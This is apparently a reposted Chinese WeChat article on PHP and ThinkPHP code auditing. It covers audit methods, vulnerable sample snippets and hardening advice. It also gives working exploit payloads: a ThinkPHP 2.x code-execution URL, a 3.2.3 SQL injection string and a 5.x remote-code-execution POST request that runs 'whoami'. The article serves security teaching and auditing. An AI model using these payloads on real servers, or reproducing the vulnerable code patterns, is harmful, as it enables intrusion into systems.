0x00 前言
0x01 PHP代码审计技巧
1.1 追踪调用链分析法
从入口文件开始,追踪用户输入的处理流程,分析参数传递和函数调用链。
// 入口文件分析
<?php
ob_start();
date_default_timezone_set("Asia/Manila");
$action = $_GET['action']; //Get请求action
include 'admin_class.php'; //引用admin_class.php
$crud = new Action();
//省略其他无用代码......
...
if($action == 'update_user'){
$save = $crud->update_user();
if($save)
echo$save;
...
通过追踪update_user
方法的调用链,发现了文件上传漏洞。
1.2 危险函数审计法
搜索常见危险函数(如eval
、system
、exec
、shell_exec
、curl_exec
等),检查这些函数的参数是否可控,分析函数前的过滤和验证措施是否充分。
常见危险函数列表:
- 代码执行:
eval()
,assert()
,preg_replace(/e)
,create_function()
- 命令执行:
system()
,exec()
,shell_exec()
,passthru()
,pcntl_exec()
,popen()
- 文件操作:
include()
,require()
,file_get_contents()
,file_put_contents()
,unlink()
- 网络请求:
curl_exec()
,file_get_contents()
,fsockopen()
1.3 黑白盒结合审计法
先进行黑盒测试,了解应用功能和可能的漏洞点,再进行白盒审计,定位和验证漏洞。使用自动化工具辅助审计,但不完全依赖工具。
0x02 常见漏洞类型审计技巧
2.1 SQL注入漏洞
- 搜索数据库操作函数:如
mysql_query
、mysqli_query
、PDO::query
等
- 检查SQL语句构造过程:是否使用参数化查询
- 分析用户输入的过滤和转义措施:是否使用
mysql_real_escape_string
等函数
- 关注特殊SQL语法:如UNION、子查询、批量操作等
示例漏洞代码:
// 入口文件分析
$id = $_GET['id'];
$query = "SELECT * FROM users WHERE id = $id"; // 未过滤的用户输入直接拼接到SQL语句中
$result = mysql_query($query);
2.2 XSS漏洞
- 检查用户输入如何输出到页面:是否直接输出未过滤的用户输入
- 分析是否使用了
htmlspecialchars
等函数进行转义:是否设置了正确的参数
- 关注模板引擎的输出机制:是否自动转义特殊字符
示例漏洞代码:
$name = $_GET['name'];
echo"Welcome, $name!"; // 未过滤的用户输入直接输出到页面
2.3 文件包含漏洞
- 搜索
include
、require
等函数:这些函数是否包含用户可控的参数
- 检查包含的文件路径是否用户可控:是否有路径限制
- 分析路径限制和过滤措施:是否可以通过特殊字符绕过
示例漏洞代码:
$page = $_GET['page'];
include($page . ".php"); // 未过滤的用户输入直接用于文件包含
2.4 命令执行漏洞
- 搜索
system
、exec
、shell_exec
、passthru
等函数:这些函数是否包含用户可控的参数
- 检查命令构造过程:是否存在命令注入风险
- 分析命令参数的过滤和验证措施:是否过滤了特殊字符
示例漏洞代码:
$cmd = $_GET['cmd'];
system("ping " . $cmd); // 未过滤的用户输入直接用于命令执行
2.5 文件上传漏洞
- 检查文件上传功能:是否验证文件类型和内容
- 分析文件类型验证机制:是否仅依赖MIME类型或文件扩展名
- 检查上传目录权限:上传的文件是否可执行
示例漏洞代码:
if(isset($_FILES['img']) && $_FILES['img']['tmp_name'] != ''){
$fname = strtotime(date('y-m-d H:i')).'_'.$_FILES['img']['name'];
$move = move_uploaded_file($_FILES['img']['tmp_name'],'assets/uploads/'. $fname);
// 没有验证文件类型和内容
}
2.6 反序列化漏洞
- 搜索
unserialize
函数:参数是否用户可控
- 检查反序列化数据是否用户可控:是否有过滤和验证
- 分析应用中可利用的类和魔术方法:如
__wakeup
、__destruct
等
示例漏洞代码:
$data = $_COOKIE['data'];
$obj = unserialize($data); // 未过滤的用户输入直接用于反序列化
0x03 ThinkPHP框架审计技巧
1. 框架特性与版本识别
ThinkPHP是国内著名的PHP开发框架,基于MVC模式。不同版本的ThinkPHP存在不同的安全特性和漏洞,因此首先需要识别框架版本。
版本识别方法:
- 查看页面底部或HTTP响应头中的版本信息
- 分析异常页面中的框架信息
- 检查框架文件和目录结构
各版本特点:
- ThinkPHP 2.x:早期版本,存在大量preg_replace /e模式代码执行漏洞
- ThinkPHP 3.x:使用较广泛的版本,存在where注入、日志文件泄露等漏洞
- ThinkPHP 5.x:现代版本,存在多个远程代码执行漏洞
- ThinkPHP 6.x:最新版本,安全性有所提高,但仍需关注最新漏洞
2. 目录结构分析
ThinkPHP各版本的目录结构有所不同,但通常包含以下关键目录:
ThinkPHP 3.x目录结构:
WEB部署目录(或者子目录)
├─index.php 入口文件
├─README.md README文件
├─Application 应用目录
├─Public资源文件目录
└─ThinkPHP框架目录
ThinkPHP 5.x目录结构:
WEB部署目录(或者子目录)
├─application 应用目录
│ ├─common 公共模块目录
│ ├─module_name 模块目录
│ │ ├─common.php 模块函数文件
│ │ ├─controller 控制器目录
│ │ ├─model 模型目录
│ │ ├─view 视图目录
│ │ └─ ... 更多类库目录
│ │
│ ├─command.php 命令行定义文件
│ ├─common.php 公共函数文件
│ └─config.php 公共配置文件
│
├─public WEB目录(对外访问目录)
│ ├─index.php 入口文件
│ ├─router.php 快速测试文件
│ └─.htaccess 用于apache的重写
│
├─thinkphp 框架系统目录
│ ├─lang 语言文件目录
│ ├─library 框架类库目录
│ │ ├─think Think类库包目录
│ │ └─traits 系统Trait目录
│ │
│ ├─tpl 系统模板目录
│ ├─base.php 基础定义文件
│ ├─console.php 控制台入口文件
│ ├─convention.php 框架惯例配置文件
│ ├─helper.php 助手函数文件
│ ├─phpunit.xml phpunit配置文件
│ └─start.php 框架入口文件
│
├─extend 扩展类库目录
├─runtime 应用的运行时目录(可写,可定制)
├─vendor 第三方类库目录(Composer依赖库)
├─build.php 自动生成定义文件
├─composer.json composer 定义文件
├─LICENSE.txt 授权说明文件
├─README.md README 文件
├─think 命令行入口文件
审计要点:
- 检查入口文件的安全配置
- 审计应用目录下的控制器文件
- 分析配置文件中的安全相关设置
- 检查日志目录的访问权限
3. 路由解析与控制器审计
ThinkPHP的路由解析机制是审计的重点,不同版本的路由解析方式有所不同。
ThinkPHP 3.x路由格式:
http://example.com/index.php/模块/控制器/方法/参数名/参数值****
ThinkPHP 5.x路由格式:
http://example.com/index.php/模块/控制器/方法/参数名/参数值
路由审计要点:
- 检查路由配置文件
- 分析URL参数的处理过程
- 关注路由解析中的过滤措施
- 检查自定义路由规则
控制器审计要点:
- 检查控制器中的公开方法
- 分析参数绑定和自动获取机制
- 关注权限验证机制
- 检查敏感操作的实现
4. 请求参数处理审计
ThinkPHP提供了多种获取请求参数的方法,如I()、input()等。
ThinkPHP 3.x参数获取:
$id = I('get.id'); // 获取GET参数id
ThinkPHP 5.x参数获取:
$id = input('id'); // 获取参数id
参数处理审计要点:
- 检查参数获取方法的使用
- 分析参数过滤和验证措施
- 关注参数类型转换
- 检查参数直接带入SQL查询的情况
5. 数据库操作审计
ThinkPHP提供了多种数据库操作方法,如M()、D()、Db::table()等。
ThinkPHP 3.x数据库操作:
$User = M('User');
$result = $User->where('id='.$id)->find(); // 可能存在SQL注入
ThinkPHP 5.x数据库操作:
$result = Db::table('user')->where('id', $id)->find(); // 参数化查询,较安全
数据库操作审计要点:
- 检查数据库操作方法的使用
- 分析where条件的构造方式
- 关注原生SQL查询的使用
- 检查数据库配置的安全性
6. 模板引擎漏洞审计
ThinkPHP的模板引擎是代码执行漏洞的高发区域。
模板引擎审计要点:
- 检查模板文件的包含和渲染过程
- 分析模板中的变量输出和过滤
- 关注自定义标签和函数的解析
- 检查模板缓存的生成和使用
示例漏洞代码:
// ThinkPHP 5.x模板引擎RCE
$this->assign('name', $name); // $name可控
$this->display(); // 模板引擎解析时可能导致代码执行
7. 版本特定漏洞审计
不同版本的ThinkPHP存在不同的安全漏洞,需要针对性审计。
7.1 ThinkPHP 2.x漏洞
preg_replace /e模式代码执行漏洞:
在ThinkPHP/Lib/Think/Util/Dispatcher.class.php
中,Dispatcher类的dispatch方法使用了preg_replace的/e模式,可能导致代码执行:
$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'/]+)@e', '$var['\1']="\2";', implode($depr,$paths));
攻击者可以构造如下URL触发漏洞:
http://127.0.0.1/index.php/a/b/c/${phpinfo()}
7.2 ThinkPHP 3.x漏洞
where注入漏洞:
在ThinkPHP 3.2.3版本中,Model类的where方法在处理数组条件时可能存在SQL注入:
$User = M('User');
$result = $User->where(array('id'=>array('exp',$id)))->find(); // $id可控时可能导致SQL注入
攻击者可以构造如下参数触发漏洞:
id[0]=exp&id[1]=1) AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(user(),0x7e,version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--
7.3 ThinkPHP 5.x漏洞
远程代码执行漏洞:
在ThinkPHP 5.0.x和5.1.x的多个版本中,Request类的method方法存在远程代码执行漏洞:
// ThinkPHP/library/think/Request.php
public function method($method = false)
{
if (true === $method) {
// 获取原始请求类型
return IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']);
} elseif (!$this->method) {
if (isset($_POST[Config::get('var_method')])) {
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{$this->method}($_POST);
} elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
$this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
} else {
$this->method = IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']);
}
}
return$this->method;
}
攻击者可以构造如下请求触发漏洞:
POST /?s=index/index
Content-Type: application/x-www-form-urlencoded
_method=__construct&filter[]=system&method=get&get[]=id=whoami
0x04 公众号中的审计案例分析
1. Sourcecodeste Faculty Evaluation System v1.0 Rce(CVE-2023-33569)
这篇文章分析了Sourcecodeste Faculty Evaluation System中的RCE漏洞,详细展示了漏洞代码和利用方法。
漏洞点:
- 入口文件
ajax.php
中的update_user
方法没有进行权限验证
update_user
方法中的文件上传功能没有验证文件类型和内容
审计技巧:
- 从入口文件开始分析,追踪调用链
- 关注无需鉴权就能访问的功能点
- 检查文件上传功能的安全措施
2. 某付费短剧影视小程序后端审计(0day)
这篇文章分析了基于ThinkPHP 5.0.24和Fastadmin框架开发的应用中的多个漏洞。
漏洞点:
- 前台任意文件读取漏洞(Fastadmin框架)
- 前台任意文件读取+SSRF漏洞(Curl_exec函数参数可控)
- 前台敏感信息泄露(无权限验证的接口)
- Fastadmin Getshell(模板引擎漏洞)
- 任意文件读取+Log日志泄露组合利用
审计技巧:
- 识别目标应用使用的框架及版本
- 利用框架的Debug模式获取更多信息
- 关注框架的特殊路由和控制器
- 检查模板引擎的安全配置
- 分析日志文件的存储位置和访问权限
0x05 工具与修复建议
1. PHP项目安全加固建议
- 使用最新版本的PHP
- 禁用危险函数(如eval、system等)
- 实施输入验证和输出编码
- 使用参数化查询防止SQL注入
- 实施严格的文件上传验证
- 使用安全的会话管理机制
- 实施适当的错误处理和日志记录
2. ThinkPHP项目安全加固建议
- 使用最新版本的ThinkPHP框架
- 关闭生产环境中的Debug模式
- 配置合理的路由规则和访问控制
- 使用框架提供的安全功能(如验证器、过滤器等)
- 实施严格的模板变量过滤
- 使用ORM的参数绑定功能
- 保护好配置文件和日志文件
- 定期更新框架和应用补丁
3. 代码审计工具推荐
- 静态分析工具:RIPS、Seay源代码审计系统、Cobra
- 动态调试工具:Xdebug、PHPStorm调试器
- 漏洞扫描工具:AWVS、Burp Suite
- 代码质量工具:SonarQube、PHP_CodeSniffer
0x06 结论
我们总结了一系列PHP和ThinkPHP框架的审计技巧。这些技巧涵盖了从方法论到具体漏洞类型的多个维度,为安全研究人员和开发者提供了全面的指导。
PHP代码审计需要关注危险函数、用户输入处理、文件操作和权限验证等方面,而ThinkPHP框架审计则需要额外关注框架特性、路由解析、模板引擎和版本特定漏洞等方面。
标签:代码审计,0day,渗透测试,系统,通用,0day,闲鱼,转转
PS:关注公众号,持续更新安全文章!!!
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,文章作者和本公众号不承担任何法律及连带责任,望周知!!!
原文始发于微信公众号(星悦安全):【万字详细】PHP与ThinkPHP框架代码审计综合技巧
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论